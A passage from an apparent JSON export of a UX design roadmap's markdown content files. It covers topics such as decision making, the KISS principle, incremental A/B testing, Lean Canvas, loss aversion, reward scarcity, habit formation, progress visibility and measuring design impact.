goals or aspirations. Users are more likely to think about their actions if they perceive the effects in the context of their own life.\n\nBy incorporating these techniques within your UX design, you will encourage users to actively think about their actions, leading to more mindful engagement with your product, informed decision-making, and improved user satisfaction.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/how-to-tips@mzWd-xSr7sO2RgfPbKy4T.md",
    "content": "# How-to-Tips\n\nThis design pattern design to provide users with guidance or tips on how to use a product or service. This pattern can be implemented in various ways, such as through tooltips, pop-ups, modals, or other interactive elements that appear on the screen.\n\nThe purpose of the \"How-to-tips\" UX pattern is to help users learn how to use a product or service quickly and easily, without having to refer to external documentation or search for answers online. By providing guidance and tips directly within the user interface, this pattern can improve the user experience and reduce frustration, especially for new or inexperienced users.\n\nExamples of this pattern include:\n\n- Tooltips that appear when users hover over or click on certain elements, providing information about the function or purpose of that element.\n- Pop-ups or modals that appear when users first interact with a product or service, providing an overview or tutorial on how to get started.\n- Interactive tutorials or walkthroughs that guide users through key features or functions of a product or service, step-by-step.\n\nOverall, the \"How-to-tips\" UX pattern is a valuable tool for improving the usability and accessibility of a product or service, helping users to learn how to use it effectively and efficiently.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/human-decision-making@liUKYf7UghuPk25xMPPYj.md",
    "content": "# Understanding Human Decision Making\n\nHuman decision making is the cognitive process through which individuals analyze information, evaluate alternatives, and select a course of action based on their preferences, goals, and desires. It plays a vital role in the field of UX design, as designers must understand how users make decisions in order to create intuitive and efficient interfaces.\n\n## Factors Influencing Decision Making\n\n- **Cognitive biases**: These are mental shortcuts or patterns of thinking that can influence decision making. Examples include anchoring bias (relying too heavily on initial information) and confirmation bias (seeking information that confirms beliefs).\n- **Emotions**: Emotions can significantly sway decisions, even when people believe they are making rational choices. UX designers should consider how design elements can elicit positive emotions and minimize negative ones.\n- **Information overload**: Too much information can lead to cognitive overload and negatively impact decision making. UX designers need to organize and present information in a digestible and accessible way.\n\n## Decision Making Models\n\nUnderstanding different decision-making models helps UX designers create interfaces that cater to various user needs and preferences. Some common models include:\n\n- **Compensatory model**: In this model, individuals consider all available options, weighing their pros and cons in a systematic manner. UX design implications include providing detailed information, filters, and comparisons to help users make informed decisions.\n- **Non-compensatory model**: Here, users employ a variety of heuristics or shortcuts to make decisions quickly. This may involve relying on a single attribute or establishing a threshold for certain criteria. In these cases, UX design should focus on highlighting key features and simplifying the decision-making process.\n- **Satisficing model**: In this approach, users make decisions by selecting the first available option that meets their minimum criteria. UX designers should consider implementing features like 'top choices' and recommendations to support this decision-making style.\n\n## Design Principles for Supporting Decision Making\n\nTo enhance user decision-making experience, consider the following principles:\n\n- **Progressive disclosure**: Present information gradually to avoid overwhelming users. This technique can include using tooltips, labels and expanding sections.\n- **Cognitive aids**: Help users remember important information or tasks by providing timely reminders, notifications, and visual cues.\n- **Feedback**: Instant feedback can help users understand the results of their decisions and guide them towards desired outcomes. This can be achieved through visual cues, messages, and animations.\n- **Defaults**: Use smart defaults to help users make decisions in a context-appropriate manner, which could range from pre-filled forms to suggested options.\n\nUnderstanding human decision making and incorporating these principles into UX design will enable designers to create more intuitive, enjoyable, and efficient user experiences.\n\n- [@video@Types of Cognitive Bias](https://www.youtube.com/watch?v=wEwGBIr_RIw)\n- [@article@List of Cognitive Biases](https://thedecisionlab.com/biases)"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/in-general-keep-it-short-and-simple@QNJ-LxfYtR8lbnmuy2Qm9.md",
    "content": "# In general, Keep it Short and Simple\n\nThe principle of \"Keep it short and simple\" (also known as the KISS principle) is an essential aspect of UX design. It is about creating user interfaces and product designs that are easy to understand, navigate and interact with, while minimizing unnecessary elements and complexities.\n\nHere are a few tips to implement the KISS principle in your UX design process:\n\n- **Simplicity**: Limit the number of elements on the screen, and have a clear, straightforward layout. This makes it easier for users to focus on important information and reduces cognitive load.\n\n- **Clear Hierarchies**: Categorize and group information logically, making sure that the most essential information is presented first. This helps users quickly understand the structure of your content.\n\n- **Minimal Clicks**: Aim to provide the shortest possible path for users to achieve their goal. Evaluate and eliminate any unnecessary steps or clicks to make the overall experience smooth and hassle-free.\n\n- **Consistency**: Keep key design elements and interactions consistent across your interface. This enables users to recognize patterns and anticipate behavior, which in turn makes it easier for them to learn and interact with your product.\n\n- **Content**: Write easy-to-understand and concise content that clearly communicates your message. Avoid jargon, and use clear language that is appropriate for your target audience.\n\n- **Visual Clarity**: Use simple and clean visual elements, such as icons, typography, and color schemes. Make sure your designs are legible and visually appealing without adding unnecessary clutter.\n\n- **Feedback**: Provide clear and timely feedback to users about the results of their actions. This helps them understand if they're on the right track or if they need to course-correct.\n\nBy following the KISS principle, you can create a more efficient and enjoyable user experience, ultimately leading to increased user satisfaction and higher conversion rates.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/incremental-ab-testing@Q4xBz9f3yyZi2F_aZ5ixL.md",
    "content": "# Incremental A/B Testing\n\nIncremental A/B testing is the process of testing small design, content, or functionality changes in your user experience (UX) design to evaluate their impact on your conversion goals. Instead of making a large, sweeping change to your design, incremental A/B testing focuses on smaller, iterative changes that can be measured and analyzed. This approach has several benefits:\n\n## Reduced Risk\n\nBy making smaller, more focused changes, you can reduce the risk associated with bigger changes that may affect several aspects of your design. This allows you to isolate specific elements of the user experience and determine the impact of your changes more accurately.\n\n## Easier Implementation\n\nIncremental changes are typically easier to implement and test, which can lead to shorter development cycles and a quicker turnaround time on improvements. This can help you save valuable resources, such as time and budget, while improving your UX design.\n\n## More Data-Based Insights\n\nSince incremental A/B testing generates more specific and focused results, you can gather more data-based insights to help you make better, informed decisions on your UX design. This can lead to a more targeted approach when making future design improvements.\n\n## How to Conduct Incremental A/B Testing:\n\n**Step 1: Identify Your Goal**\n\nBefore you begin testing, you need to have a clear understanding of the goal you are trying to achieve with your incremental change. This could be increasing conversion rates, reducing bounce rates, or improving user engagement.\n\n**Step 2: Define a Hypothesis**\n\nDevelop a hypothesis for each change. Your hypothesis should be based on research and data and should clearly state your expected outcome from the incremental change.\n\n**Step 3: Design and Implement Changes**\n\nDesign and implement your changes in line with your hypothesis. Keep your changes specific, targeted, and incremental to improve data accuracy and make implementation easier.\n\n**Step 4: Set up A/B Testing**\n\nUse a reliable A/B testing tool to set up your testing environment. Ensure that you have a control version (without changes) and a treatment version (with changes) to compare within the test.\n\n**Step 5: Analyze and Interpret Results**\n\nOnce you've completed your test, analyze the results to determine if your incremental change has had the desired impact on your goal. Evaluate the data and make decisions based on your findings.\n\n**Step 6: Iterate and Improve**\n\nBased on your results, iterate and make improvements to your UX design. Continue running incremental A/B tests as you fine-tune your design to achieve the best possible user experience.\n\nBy making use of incremental A/B testing, you thoroughly understand the impact of each small change in your UX design, which empowers you to create an optimized user experience and reach your conversion goals effectively.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/lean-canvas@sc8jJ_77CrkQuxIJYk28Q.md",
    "content": "# Lean Canvas\n\nLean Canvas is a streamlined, single-page approach to visualizing the essential components of a business model. It was developed by Ash Maurya as an adaptation of the Business Model Canvas, with a focus on helping startups and entrepreneurs quickly develop and communicate their business ideas. Lean Canvas helps you define your Unique Value Proposition (UVP), identify your target customers, and outline your strategy. Let's go through its key components:\n\n## Problem\n\nStart by identifying the main problems your product aims to solve. Be specific, and try to focus on the most pressing issues faced by your target customers.\n\n## Customer Segments\n\nDefine your target audience. Be as specific as possible, describing the types of customers who would benefit most from your product or service.\n\n## Unique Value Proposition (UVP)\n\nClearly articulate the unique value your product or service offers to your target customers. Your UVP should be distinctive and competitive, differentiating you from other solutions in the market.\n\n## Solution\n\nList the key features, functionalities, or aspects of your product that address the identified problems, and align with your UVP.\n\n## Channels\n\nOutline the various methods through which you plan to reach your target customers, such as social media, search engine optimization (SEO), email campaigns, or paid advertising.\n\n## Revenue Streams\n\nIdentify the ways you plan to generate income from your product or service. This could include sales, subscriptions, sponsorships, affiliate partnerships, or other revenue-generating channels.\n\n## Cost Structure\n\nList your main costs and expenses associated with building, launching, and maintaining your product, including development, marketing, operations, and support.\n\n## Key Metrics\n\nDetermine the indicators you'll use to track your performance and gauge the success of your product. Metrics could include sales, user engagement, customer satisfaction, or any other relevant success indicators.\n\n## Unfair Advantage\n\nIdentify and describe any unfair advantages your product or business may have over your competitors. This could include unique expertise, proprietary technology, or strategic partnerships.\n\nBy completing a Lean Canvas, you'll have a clear and concise overview of your business model, allowing you to refine your concept, focus on what matters most, and communicate your vision to team members, investors, and customers. It's a powerful tool that can be an excellent starting point for any entrepreneur or startup looking to create a successful UX design.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/lessen-the-burden-of-action--info@gf7et64xCqkYBrP9HwWs_.md",
    "content": "# Lessen the Burden of Action/Info.\n\nThe goal of \"lessening the burden of action information\" is to simplify and streamline the user experience so that users can efficiently accomplish their tasks without confusion or frustration. Here are some key ways to do this:\n\n- #### Provide Clear Instructions\n  Clearly communicate to your users what they need to do. Ensure language is clear, concise and easily understood. This reduces the chances of users feeling lost or not knowing what to do.\n- #### Minimize Steps\n  Reduce the number of steps or actions users need to take in order to complete a task. This not only simplifies the process but also saves users' time and effort.\n- #### Declutter Interface\n  Remove unnecessary elements from your interface that might distract or confuse your users. Focus on presenting only the essential information and UI components, which will allow your users to navigate and interact more easily.\n- #### Group Related Actions\n  Organize similar actions and options together. This helps users understand the logical flow of completing a task and makes the interface easier to navigate.\n- #### Break Down Complex Tasks\n  Break complex tasks into smaller, more manageable sub-tasks or steps. This helps users understand the overall process better and allows them to focus on one step at a time.\n- #### Make Default Values Meaningful\n  Set default values that make sense and help users to complete actions more quickly. This saves users the time and effort of manually entering or selecting values in certain cases.\n\nBy implementing these techniques in your UX design, you will make it easier for users to interact with and complete tasks within your product, leading to a more satisfying and successful experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/leverage-loss-aversion@zXinWCEH4LlYvXekLK0Ju.md",
    "content": "# Leverage Loss Aversion\n\nLoss aversion is a psychological phenomenon where individuals are more likely to avoid losses than to achieve equivalent gains. In other words, people feel the pain of losing something more strongly than they feel the pleasure of gaining something of equal value. As a UX designer, you can leverage loss aversion to encourage user engagement, increase conversions, and boost overall user satisfaction.\n\n## Tips for applying loss aversion in UX design:\n\n- **Highlight potential losses:** Emphasize the negative consequences of not taking action. For example, instead of focusing on the benefits of signing up for a newsletter, you could stress the valuable insights and opportunities the user will miss out on if they don't subscribe.\n\n- **Use time-sensitive offers:** Creating a sense of urgency can be a powerful motivator for users to take action. Limited-time offers, discounts, or exclusive content can tap into users' fear of missing out (FOMO) and prompt them to engage with your product or service.\n\n- **Free trials and progress tracking:** Offer free trials with limited features or time frames that encourage users to explore the full potential of your product. Show users the progress they've made during the trial and remind them what they'll lose if they don't upgrade or purchase.\n\n- **Saved user data:** Retain user preferences, settings, or shopping cart data for a limited time, and remind them that this information will be lost if they don't act. This can be especially persuasive, as users may have already invested time and effort into customizing their experience.\n\n- **Social proof and testimonials:** Showcase the success stories and testimonials of satisfied customers or users. This can create a sense of loss for prospects who may feel like they're falling behind or missing out on the advantages enjoyed by others.\n\n- **Risk reversal and guarantees:** Reduce the perceived risk by offering money-back guarantees, free returns, or no-strings-attached trials. By taking away the potential for loss, users may be more likely to give your product or service a try.\n\nRemember, the goal is to create a balanced user experience that informs and helps users make informed decisions, without resorting to manipulative tactics. Use loss aversion thoughtfully and ethically, and always prioritize the needs and emotions of your users.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-commitment-to-friends@dOL2z6ULpmzRD5N3MrYCy.md",
    "content": "# Make Commitment to Friends\n\nOne of the key strategies to create a sense of urgency in your UX design is to encourage users to make commitments with their friends. This approach leverages the power of social influence and personal accountability to drive user engagement and action.\n\n## Why it's effective\n\n- **Social Proof:** When users see that their friends have already made a commitment, they are more likely to follow suit. This creates a sense of social validation and peer pressure, which can nudge users towards making similar decisions.\n- **Accountability:** Making a commitment with friends can increase a user's sense of responsibility and dedication to follow through on their decision. Knowing that their actions are being observed by others makes backing out less attractive, hence increasing the chances of users following through on their commitments.\n\n## How to implement it in your UX design\n\n- **Show friend's activity:** Design your interface to portray commitments and actions made by friends. For example, social media platforms often show a user's friends who have already signed up for an event or have endorsed a product.\n- **Enable sharing:** Make it easy for users to share their commitments, interests, or goals with their friends. This could include features like sharing buttons or personalized social media posts.\n- **Create group goals:** Allow users to commit to a shared goal together. Design experiences that encourage collaboration and teamwork, such as group challenges or competitions.\n- **Offer incentives for group commitments:** Reward users for achieving goals together, for example, offering discounts or exclusive features for a group of friends who sign up for a service together.\n\nBy incorporating the \"make commitment to friends\" concept in your UX design, you can tap into people's natural tendencies of social conformity and accountability. This encourages users to engage with your product, convert to actions, and more importantly, stick around for the long haul.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-it-clear-where-to-act@hDj3HaYAM7K1UJmP_T52n.md",
    "content": "# Make it Clear, Where to Act\n\nWhen designing a user interface, it is essential to guide your users in such a way that they can effortlessly understand where they need to act. This means making it abundantly clear where the actionable elements are on the screen.\n\nHere are a few strategies to ensure users can easily identify where to act:\n\n- **Use Affordances:** Make use of [affordances](https://www.interaction-design.org/literature/topics/affordances) to give users clues about the functionality of individual elements. For instance, buttons should look clickable, links should be visually distinguishable from plain text, and input fields should resemble an area where text can be entered.\n\n- **Visual Hierarchy:** Establish a [visual hierarchy](https://www.interaction-design.org/literature/topics/visual-hierarchy) within the interface by placing important actions more prominently, making them larger or more noticeable. This can be achieved through the use of size, color, contrast, and proximity.\n\n- **Consistent Element Patterns:** Use consistent element patterns throughout your design, ensuring that all actionable elements have the same visual styling. This helps users recognize which elements they can interact with and which ones they can't.\n\n- **Clear Labels and Instructions:** Provide clear labels and instructions to help users understand what different elements do, and what is expected of them. This could be explicit instructions or simply using descriptive, concise labels that are easy-to-understand.\n\n- **Whitespace:** Make good use of [whitespace](https://www.interaction-design.org/literature/topics/white-space) to provide breathing room between elements and group related content. This allows users to quickly grasp the structure of the page and find the points of interaction.\n\n- **Feedback:** Provide feedback to users when they interact with various elements. This can include hover effects, button presses, and animations that serve as confirmations of successful actions.\n\nBy making it clear where users need to act, your interface becomes more accessible, efficient, and enjoyable for them to use. This will ultimately result in a more successful and engaging user experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-it-easy-to-understand-and-complete@vAu2c45c7DgoRydHR2tvD.md",
    "content": "# Make it Easy to Understand, Easy to Complete\n\nIn UX design, the key to creating a great user experience is making it easy for users to navigate, understand, and interact with your product or interface. Here are some important aspects to keep in mind while designing with the \"Make It Easy\" principle:\n\n- **Clarity**: Keep the design and layout clean, with clear fonts and a simple interface. Avoid using too many different colors or elements that can clutter the screen and make it difficult for users to focus on their tasks.\n\n- **Consistency**: Keep a consistent design throughout the interface, by maintaining a standard pattern for elements, buttons, and symbols. This helps users understand the flow of your interface and what they need to do next.\n\n- **Intuitive Navigation**: Keep the navigation structure clear and easy to understand. Avoid using confusing labels or having too many layers of navigation that can make it difficult for users to find what they're looking for.\n\n- **Efficient Interaction**: Minimize the steps required to complete a task. Ensure that the user doesn't have to go through unnecessary steps or provide unnecessary input to achieve their goal.\n\n- **Error Prevention**: Help users minimize the chances of making errors by designing for error prevention. This can include things like disabling actions that aren't allowed, providing clear and concise instructions, or implementing user-friendly input fields.\n\n- **Flexibility**: Provide multiple ways for your users to complete tasks, so they can choose the approach that works best for their individual preferences and needs.\n\n- **Feedback**: Give users continuous feedback on the outcome of their actions. This can be through visual cues, sounds, and even haptic feedback. Providing feedback helps users understand what's happening and builds their confidence in the interface.\n\nRemember, the easier it is for users to interact with your product, the more likely they are to enjoy using it, thus leading to a better overall user experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-or-change-habits@y6CqgqTvOt-LrvTnPJkQQ.md",
    "content": "# Make or Change Habbits\n\nMaking or changing habits is an essential aspect of UX design that focuses on helping users adopt new behaviors and patterns. In order to create a lasting impact, designers need to implement strategies that will facilitate the formation or modification of habits for users. Below, we've outlined some key components to consider when creating or changing habits in UX design.\n\n- **Identify user goals and barriers**: First and foremost, determine the end goal of your users and identify any obstacles that may inhibit them from achieving their desired outcome. By addressing these barriers through design, you can help users overcome challenges and form new habits.\n\n- **Utilize triggers**: Triggers, or prompts, can be incorporated into a design to remind users to take specific actions. These can be visual (e.g., a button), auditory (e.g., a notification sound), or contextual (e.g., a reminder based on time or location). Including triggers in your design can improve habit formation for users.\n\n- **Simplify the process**: Break down complex tasks or goals into smaller, more manageable steps to make it easier for users to form new habits. This way, users will feel less overwhelmed and will be more likely to stick to the desired behavior.\n\n- **Incorporate feedback and rewards**: Positive reinforcement is a powerful tool that can be used to encourage new habits. Provide users with immediate feedback on their progress and offer rewards (e.g., badges, points, etc.) for completing tasks or achieving goals. This will motivate users and help them stay engaged with your product.\n\n- **Leverage social influence**: Humans are social creatures by nature; we tend to follow the behaviors and trends of our peers. Incorporate social elements into your design to promote healthy competition and create a sense of community among users, further incentivizing them to form new habits.\n\n- **Iterate and improve**: Finally, always strive for improvement by continuously analyzing and iterating on your designs. Gather user feedback to identify areas where users may be struggling to form or maintain new habits, adjusting your design accordingly.\n\nBy understanding the principles of habit formation and incorporating these strategies into your UX design process, you can help users adopt new behaviors more easily and create lasting change.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-progress-meaningful-to-reward-user@D3LVYuCDHD6-kU8GhXokf.md",
    "content": "# Make Progress Meaningful in order to Reward User\n\nWhen designing a UX, one crucial aspect to consider is creating a sense of progress and achievement for users. By making progress meaningful and rewarding users, you can enhance their overall experience, satisfaction, and engagement with your product or service. Here's a brief summary of some key points to consider when implementing this principle in your design.\n\n## Set Clear Goals and Milestones\n\nHelp users understand the objectives they need to achieve within your product or service. The goals should be specific, measurable, attainable, relevant, and time-bound (SMART). By providing well-defined milestones, users can easily visualize their progress and feel motivated to continue using your product.\n\n## Provide Feedback\n\nContinuously inform users about their progress and actions by providing feedback through visual cues, messages, notifications, or sounds. This will reassure them that they are on the right track and help maintain their engagement.\n\n## Celebrate Achievements\n\nRecognize and celebrate user accomplishments, whether it's completing a task, reaching a new level, or mastering a new skill. This can be done through messages, badges, trophies, or other visual elements that give users a sense of achievement and recognition.\n\n## Personalize Rewards\n\nTailor rewards to cater to individual user preferences, taking into account their needs, desires, and achievements. This could mean offering different types of rewards or varying the difficulty levels to unlock them based on the user's past experiences with your product.\n\n## Encourage Social Sharing\n\nLeverage the power of social networks to allow users to share their achievements and progress with friends, family, or other users. Providing incentives for sharing can also help enhance the feeling of accomplishment and increase the likelihood of continued engagement.\n\n## Gamification\n\nIncorporate gamification elements into your UX design to make progress and rewards more engaging and entertaining. Gamification techniques can include points, levels, leaderboards, and other game-like components that encourage users to invest time and effort in your product.\n\nBy making progress meaningful and rewarding for users, you can significantly enhance the overall user experience, foster user loyalty, and improve the chances of your product's long-term success. Always consider the unique needs and preferences of your target audience to customize your approach for the best results.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-progress-visible-to-user@8YePym3cQtoVY0DJQLllK.md",
    "content": "# Make Progress Visible to User\n\nMaking progress visible is an essential part of UX design, as it helps users understand where they are in a process, and it gives them a sense of control and achievement. In this section, we'll discuss the importance of making progress visible and provide some practical tips for incorporating this approach into your designs.\n\n## Importance of Making Progress Visible\n\nVisible progress can significantly impact user experience. It helps in:\n\n- **Reducing user anxiety**: When users can see that they're making progress, they experience less anxiety and frustration.\n- **Building engagement**: Progress indicators help users feel invested and engaged with a task or product.\n- **Avoiding drop-offs**: When users can see the end of a process, they're more likely to complete it.\n\n## Tips for Making Progress Visible\n\nIncorporate these best practices into your UX design to make progress visible:\n\n- **Use progress bars:** A simple and effective way to show progress is through progress bars. You can use them for linear processes, like form completion or steps in a tutorial.\n- **Break tasks into manageable steps:** Chunking tasks into smaller steps makes them more manageable for users, and it allows users to see progress as they complete each step.\n- **Give feedback on progress:** Provide clear feedback on the user's progress, such as a tick or checkmark, accompanying text, or a change of color.\n- **Estimate time or effort:** Give users a sense of how long a task will take, or how much effort is involved, by showing time estimates or the number of steps involved.\n- **Enable users to review progress:** Allow users to review their progress and easily navigate between completed steps if they need to make changes.\n\nBy making progress visible, you can provide users with a sense of accomplishment, reduce anxiety, and encourage engagement with your product. Keep this approach in mind during your UX design process to create more satisfying and user-friendly experiences.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-reward-scarce@1pzONoWafLAeX8eWbH-Dz.md",
    "content": "# Make Reward Scarce\n\nOne of the effective techniques to create urgency in UX design is to make rewards scarce. Making a reward scarce means limiting its availability in terms of quantity or time. This scarcity increases its perceived value leading to urgency among users to act fast in order to avail the reward. Here, we'll discuss some strategies to make rewards scarce in your design:\n\n## Limited Quantity\n\nIntroduce rewards with limited quantities, making users feel that they need to act fast before the rewards are gone. This exerts psychological pressure as users do not want to miss out on the opportunity.\n\n_Example_: You can offer a limited quantity promotion wherein the first 50 customers to make a purchase receive a bonus gift or a special discount.\n\n## Limited Time Offers\n\nCreating time-based limitations on rewards is another effective way to increase urgency. The inherent nature of time works its magic by encouraging users to be quick to avoid missing out on the reward.\n\n_Example_: Flash sales, 24-hour promotions and countdown timers are examples of limited-time offers that create urgency to buy now or miss out on the deal.\n\n## Exclusive Access\n\nOffering exclusive access to specific features, content or experiences for a limited number of users not only increases perceived value but also adds a sense of exclusivity.\n\n_Example_: Granting access to a members-only online event, beta release of an application, or special product launches can create urgency to sign-up or purchase for the privilege of having that exclusive access.\n\n## Seasonal Rewards\n\nAlign the rewards with seasons, events, or holidays, creating a natural sense of scarcity due to the time-bound nature of these events.\n\n_Example_: Offering discounts, special promotions, or limited edition items connected to holidays or events like Christmas, Valentine's Day, Black Friday, etc., can create a sense of urgency as users are aware that these opportunities only come around once a year.\n\nRemember to apply these strategies ethically and transparently when designing experiences in your application. Creating genuine scarcity and urgency will ensure that your users value your offers and continue to engage with your product.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-successful-completion-clearly-visible@94V3wUtZ0NMm_0Vb1pBju.md",
    "content": "# Make Successful Completion Clearly Visible\n\nWhen designing user experiences, it's essential to ensure that users can easily recognize when they've completed a task or achieved their goal. This is important because it provides users with a sense of accomplishment and satisfaction; it also helps build trust in the digital product. Here are some tips to make successful completion clearly visible:\n\n- **Visual feedback:** Provide clear visual cues (e.g., color changes, checkmarks, or other symbols) to indicate when a user has successfully completed a task. This reinforces the user's understanding that their actions have had the desired outcome.\n\n- **Success messages:** Display context-appropriate messages or confirmation screens to acknowledge that tasks have been successfully completed. For example, after submitting a form, show a success message containing a confirmation number and relevant next steps.\n\n- **Progress indicators:** Use progress bars or other indicators to help users track their progress towards task completion. This helps users understand how much work remains and can motivate them to continue working towards their goal.\n\n- **Transitions:** Utilize smooth animations and transitions when moving between different states or screens. This helps users recognize that they've successfully completed a task and are moving on to the next step.\n\n- **Accessible design:** Ensure that your success indicators and feedback are accessible to all users, including those with visual impairments. Use suitable text labels, alt text, and other accessibility features to guarantee that everyone can perceive and understand when they've completed a task.\n\nBy incorporating these elements into your UX design, you will create a user experience that not only guides users through tasks efficiently but also provides them with the satisfaction of clearly visible successful completions. This, in turn, can lead to more enjoyable interactions with your digital product and improved user engagement.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/make-ui-professional-and-beautiful@ahhffBkmd-feroleBrhJm.md",
    "content": "# Make UI Professional and Beautiful\n\nCreating a professional and beautiful user interface (UI) is essential for a positive intuitive reaction. This not only captures the users' attention but also keeps them engaged with your product. A visually appealing UI establishes trust and confidence, ultimately enhancing the overall user experience (UX). In this section, we will discuss key aspects to keep in mind for designing a professional and beautiful UI.\n\n## Color Scheme\n\nChoose a color scheme that complements your brand and the message you want to convey. Use colors that evoke emotions and are aesthetically pleasing. Aim for a balanced mix of primary, secondary, and accent colors. You can use online color palette generators or other resources to create a harmonious color scheme.\n\n## Typography\n\nTypography plays a critical role in making your UI more readable and user-friendly. Spend time selecting a typeface that aligns well with your brand personality. Make sure that the font sizes, line heights, and letter spacing are optimized for readability. Maintain consistency in typefaces and styles throughout your design.\n\n## Layout and Grid System\n\nOrganize the interface elements in a clear, consistent, and logical manner using a grid system. It helps you achieve a clean and professional look. A well-defined layout not only enhances the visual appeal but also improves the usability of the interface.\n\n## Iconography and Imagery\n\nUse high-quality icons and images that are consistent in style and theme. Icons should be easily recognizable and convey the purpose of their associated actions. Opt for vector graphics and SVG files as they scale better for different screen sizes and resolutions.\n\n## Consistency and Patterns\n\nMaintain consistency in your UI elements and their interactions. Established design patterns help users feel comfortable and familiar with your interface. Standardize navigation, buttons, and other interface components to create an intuitive and seamless experience.\n\n## Responsive Design\n\nEnsure your design adapts well to various screen sizes and resolutions. Cater to different devices and platforms to maximize accessibility and user satisfaction. Utilize responsive design techniques, such as fluid grids, flexible images, and media queries.\n\n## White Space\n\nMake effective use of white space (also known as negative space) to create visual hierarchy, separate different elements, and guide the users' attention. White space is essential for a clean, balanced, and professional appearance.\n\n## Feedback and Micro-interactions\n\nProvide visual feedback and subtle animations to enhance user interaction. Micro-interactions, such as hover effects, progress indicators, and animations, showcase attentiveness to detail and contribute to an engaging UX.\n\nBy incorporating these aspects, you can craft a professional and beautiful UI that promotes a positive intuitive reaction. Remember that a visually appealing interface, combined with smooth and efficient functionality, leads to a better UX, ultimately benefiting both the users and your business.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/making-it-incidental@Ix5Fll_dAINWLxVF2DXFI.md",
    "content": "# Make it Incidental\n\nIn UX design, making something incidental refers to subtly introducing a feature or element while the user is engaged in a different, primary task. The intention behind this approach is to avoid interrupting the user's flow, prevent them from feeling overwhelmed, and make the discovery of that feature feel more natural and serendipitous.\n\n## Benefits of Making It Incidental\n\n- **Less Overwhelming:** Users are not bombarded with too much information at once, as an incidental introduction happens when they are already engaged in another task.\n- **Avoids Distractions:** It doesn't disrupt the flow of the application, allowing users to maintain focus on their original task.\n- **Increases User Engagement:** As users chance upon a feature or element that they possibly need or find useful in the future, this may deepen their connection with the product.\n\n## Techniques to Make it Incidental\n\n- **Progressive disclosure:** Reveal information or features when relevant, in the context of the user's current task.\n- **Guided interactions:** Introduce features while users are actively engaged in tasks, where the discovery is an organic part of the interaction.\n- **Contextual hints:** Provide subtle cues or suggestions for users that signal the presence of additional features, which can be used when needed.\n\nRemember, the key to making something incidental is to strategically place it within the user journey, so that it feels like a natural and seamless discovery. This approach can help create delightful and efficient user experiences.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/measuring-the-impact@GgBazWfF2OvOqkuo3DO2L.md",
    "content": "# Measuring the Impact\n\nMeasuring the impact of UX design is crucial to understand its effectiveness and make necessary improvements. In this section, we'll explore the key metrics, methods, and tools to help you measure the impact of your UX design efforts.\n\n## Key Metrics\n\nSeveral metrics can help you find out whether your UX design is meeting the objectives. Some prominent ones include:\n\n- **User satisfaction**: Gather feedback through surveys, ratings, or interviews to evaluate users' satisfaction with your design.\n- **Task completion**: Measure the percentage of users who can complete specific tasks within the design without trouble.\n- **Completion time**: Analyze the time taken by users to complete tasks, indicating efficiency and ease of use.\n- **Error rate**: Track the number of errors users make while interacting with your design to assess usability.\n- **Conversion rate**: Calculate the percentage of users who achieve the targeted action (sign-ups, purchases, etc.) to measure design effectiveness.\n\n## Methods of Measurement\n\nVarious methods can be employed to measure the impact of UX design, such as:\n\n- **Usability testing**: Conduct tests with real users to observe their interactions with your design, identify issues and improvement areas.\n- **A/B testing**: Compare two different versions of your design to determine which one better meets your objectives.\n- **Heatmaps**: Visualize user interactions (clicks, taps, scrolls) within your design to identify popular areas and potential trouble spots.\n- **User surveys and interviews**: Collect qualitative data on user satisfaction, preferences, and pain points to assess the design's impact.\n\n## Tools for Measuring Impact\n\nSeveral tools can assist you in measuring the impact of your UX design, including:\n\n- **Google Analytics**: A free tool to track user behavior, such as conversion rates, bounce rates, and user flows within your design.\n- **Hotjar**: A popular tool to create heatmaps, collect user feedback, and record user sessions for analysis.\n- **Optimizely**: A platform for A/B testing, multivariate testing, and personalization of your design.\n- **UsabilityHub**: A user testing platform that offers a range of tools to test your design, including first-click tests, preference tests, and five-second tests.\n\nBy regularly measuring the impact of your UX design and analyzing the gathered data, you can effectively enhance your design, ensuring positive user experiences and achieving your business goals.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/mindfulness-to-avoid-acting-on-the-cue@d1dXGCHmMF2EFpL5yKVJA.md",
    "content": "# Mindfulness to Avoid Acting on the Cue\n\nMindfulness is a powerful technique that can help designers and users alike to avoid acting on the cues that trigger unwanted behaviors. Mindfulness practices can strengthen one's self-awareness and self-regulation skills, allowing individuals to recognize cues and make more conscious decisions about their actions.\n\n## How to practice mindfulness in UX design\n\n- **Be present:** When designing or using a product, focus on the task at hand and avoid multitasking. By fully engaging in the moment, you'll be more aware of the cues that may trigger unwanted behaviors.\n\n- **Observe without judgment:** Take note of any compulsions or urges that arise while interacting with a product, but don't judge them as good or bad. Simply acknowledging their existence can help you understand your responses and make better choices in the future.\n\n- **Pause and reflect:** When you notice a cue, take a moment to pause and evaluate your options. Consider whether the action you're about to take is aligned with your goals or if it's something you'd like to change.\n\n- **Respond with intention:** Once you've reflected on your options, make a conscious decision about your next action. This may mean going through with the original behavior, choosing a more desirable alternative, or refraining from acting entirely.\n\n## Incorporating mindfulness techniques into your designs\n\nIn addition to practicing mindfulness personally, consider how you can create designs that encourage users to be more mindful and avoid acting on unwanted cues.\n\n- **Design for minimal distractions:** Aim to reduce visual clutter, unnecessary alerts, and anything that might pull users' attention away from the present moment.\n\n- **Provide clear action cues:** Make sure that cues for desired actions are clear and easy to understand, allowing users to make more conscious decisions about their actions.\n\n- **Support user reflection:** Consider incorporating features that prompt users to reflect on their actions, such as goal-setting or progress tracking tools, which can encourage more mindful 